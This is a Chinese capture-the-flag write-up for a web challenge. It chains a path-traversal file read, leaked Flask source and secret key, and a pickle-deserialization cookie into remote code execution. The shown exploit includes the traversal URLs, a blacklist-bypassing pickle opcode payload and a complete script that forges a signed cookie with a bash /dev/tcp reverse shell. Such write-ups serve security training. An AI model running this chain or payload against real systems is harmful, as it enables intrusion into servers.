2024羊城杯-Web-Lyrics For You
题目描述:I have wrote some lyrics for you......
复现平台
https://www.xautctf.cn/games/3/challenges
涉及考点
文件包含
信息泄露
代码审计
Python反序列化
信息搜集
首先开启靶机,进入主目录,有三个交互键,分别指向
http://139.155.126.78:37133/lyrics?lyrics=Rain.txt
http://139.155.126.78:37133/lyrics?lyrics=Space%20Bound.txt
http://139.155.126.78:37133/lyrics?lyrics=Sketch%20Plane.txt
观察到lyrics参数的值是一个文件名,尝试访问http://139.155.126.78:37133/lyrics?lyrics=lyrics=../../../../etc/passwd
成功返回/etc/passwd文件内容,存在文件包含
此处笔者首先尝试了文件包含getshell,但失败了,失败过程在此不记录了
回归正题,根据上文包含/etc/passwd目录推测,当前脚本所在目录应该是/aaa/bbb/ccc/lyrics,/aaa/bbb/ccc是工作根目录
尝试包含index.php,index.html,均提示文件不存在,推测大概率不是php环境
尝试包含app.py,即http://139.155.126.78:37133/lyrics?lyrics=lyrics=../app.py,成功
根据代码,这就是一个Flask框架的python环境,那么目录结构应该是/usr/etc/app
将代码格式化处理,便于审计
# app.py
import os
import random
from config.secret_key import secret_code
from flask import Flask, make_response, request, render_template
from cookie import set_cookie, cookie_check, get_cookie
import pickle
app = Flask(__name__)
app.secret_key = random.randbytes(16)
class UserData:
def __init__(self, username):
self.username = username
def Waf(data):
blacklist = [b'R', b'secret', b'eval', b'file', b'compile', b'open', b'os.popen']
valid = False
for word in blacklist:
if word.lower() in data.lower():
valid = True
break
return valid
@app.route("/", methods=['GET'])
def index():
return render_template('index.html')
@app.route("/lyrics", methods=['GET'])
def lyrics():
resp = make_response()
resp.headers["Content-Type"] = 'text/plain; charset=UTF-8'
query = request.args.get("lyrics")
path = os.path.join(os.getcwd() + "/lyrics", query)
try:
with open(path) as f:
res = f.read()
except Exception as e:
return "No lyrics found"
return res
@app.route("/login", methods=['POST', 'GET'])
def login():
if request.method == 'POST':
username = request.form["username"]
user = UserData(username)
res = {"username": user.username}
return set_cookie("user", res, secret=secret_code)
return render_template('login.html')
@app.route("/board", methods=['GET'])
def board():
invalid = cookie_check("user", secret=secret_code)
if invalid:
return "Nope, invalid code get out!"
data = get_cookie("user", secret=secret_code)
if isinstance(data, bytes):
a = pickle.loads(data)
data = str(data, encoding="utf-8")
if "username" not in data:
return render_template('user.html', name="guest")
if data["username"] == "admin":
return render_template('admin.html', name=data["username"])
if data["username"] != "admin":
return render_template('user.html', name=data["username"])
if __name__ == "__main__":
os.chdir(os.path.dirname(__file__))
app.run(host="0.0.0.0", port=8080)
根据引用的库,推测还有cookie.py和config/secret_key.py文件
将它们一起读取出来
格式化处理一下
# cookie.py
import base64
import hashlib
import hmac
import pickle
from flask import make_response, request
unicode = str
basestring = str # Quoted from python bottle template, thanks :D
def cookie_encode(data, key):
msg = base64.b64encode(pickle.dumps(data, -1))
sig = base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())
return tob('!') + sig + tob('?') + msg
def cookie_decode(data, key):
data = tob(data)
if cookie_is_encoded(data):
sig, msg = data.split(tob('?'), 1)
if _lscmp(sig[1:], base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())):
return pickle.loads(base64.b64decode(msg))
return None
def waf(data):
blacklist = [b'R', b'secret', b'eval', b'file', b'compile', b'open', b'os.popen']
valid = False
for word in blacklist:
if word in data:
valid = True
# print(word)
break
return valid
def cookie_check(key, secret=None):
a = request.cookies.get(key)
data = tob(request.cookies.get(key))
if data:
if cookie_is_encoded(data):
sig, msg = data.split(tob('?'), 1)
if _lscmp(sig[1:], base64.b64encode(hmac.new(tob(secret), msg, digestmod=hashlib.md5).digest())):
res = base64.b64decode(msg)
if waf(res):
return True
else:
return False
return True
else:
return False
def tob(s, enc='utf8'):
return s.encode(enc) if isinstance(s, unicode) else bytes(s)
def get_cookie(key, default=None, secret=None):
value = request.cookies.get(key)
if secret and value:
dec = cookie_decode(value, secret)
return dec[1] if dec and dec[0] == key else default
return value or default
def cookie_is_encoded(data):
return bool(data.startswith(tob('!')) and tob('?') in data)
def _lscmp(a, b):
return not sum(0 if x == y else 1 for x, y in zip(a, b)) and len(a) == len(b)
def set_cookie(name, value, secret=None, **options):
if secret:
value = touni(cookie_encode((name, value), secret))
resp = make_response("success")
resp.set_cookie("user", value, max_age=3600)
return resp
elif not isinstance(value, basestring):
raise TypeError('Secret key missing for non-string Cookie.')
if len(value) > 4096:
raise ValueError('Cookie value too long.')
def touni(s, enc='utf8', err='strict'):
return s.decode(enc, err) if isinstance(s, bytes) else unicode(s)
# config/secret_key.py
secret_code = "EnjoyThePlayTime123456"
通过对app.py审计发现,还存在/login和/board路由
其中/login路由中,用户输入一个用户名,便会返回一个cookie
在/board路由中,对cookie进行反序列化,提取其中字符串并输出
很明显,这应该是一个python的反序列化考点
python反序列化
要通过cookie触发反序列化
首先观察怎么生成cookie
我们是从/login这个路由获取的cookie,自然从这个路由开始看
res = {"username": user.username}
return set_cookie("user", res, secret=secret_code)
user.username就是我们输入的用户名,secret_code就是在config/secret_key.py的EnjoyThePlayTime123456
继续跟进set_cookie()方法
value = touni(cookie_encode((name, value), secret))
resp = make_response("success")
resp.set_cookie("user", value, max_age=3600)
return resp
很明显,调用set_cookie方法 (PS:此处的set_cookie方法和刚提到的set_cookie()函数不是同一个) 设置了一个键为user,值为value的cookie,而value的值就是我们需要的cookie的值,而传入的原本的value变量则是/login路由中的res
至此,找到了cookie的生成函数
touni(cookie_encode((name, value), secret))
仿照原格式
我们生成cookie的函数应该是
touni(cookie_encode(("user", payload), "EnjoyThePlayTime123456"))
或许有人疑惑,如果仿照原格式,不应该是这样吗
touni(cookie_encode(("user", {"username": payload}), "EnjoyThePlayTime123456"))
我们转过头来看/board对于传入的cookie的处理
data = get_cookie("user", secret=secret_code)
if isinstance(data, bytes):
a = pickle.loads(data)
data = str(data, encoding="utf-8")
get_cookie()返回的是cookie中user这个键对应的值,即上文touni()方法中的哪个value,而在接下来的loads反序列化过程,则是对这个value进行的,而我们所需要反序列化的,就是我们的payload,因此使用传入payload而非{"username": payload}
接下来就需要payload了,但是存在waf()方法
blacklist = [b'R', b'secret', b'eval', b'file', b'compile', b'open', b'os.popen']
其中R被拉黑,意味着我们无法使用使用__reduce__()
了
但是我们还可以用其他方法,例如构造opcode
这里推荐阅读这位师傅的博客,讲的十分详细清楚pickle反序列化初探 - 先知社区 (aliyun.com)
在此我不多赘述原理,这次我选择使用O这个opcode
# 模板
payload = b'''(cos
system
S'whoami'
o.'''
修改一下,改为反弹shell
payload = b'''(cos
system
S'bash -c "bash -i >& /dev/tcp/ip/port 0>&1"'
o.'''
EXP
于是反弹Shell版解法的完整EXP为
from cookie import *
import requests
url = "http://139.155.126.78:37133/board"
payload = b'''(cos
system
S'bash -c "bash -i >& /dev/tcp/ip/port 0>&1"'
o.'''
payload = touni(cookie_encode(("user", payload), "EnjoyThePlayTime123456"))
requests.get(url, cookies={"user": payload})
# 记得本地开启监听
反弹shell后,执行/readflag即可得到flag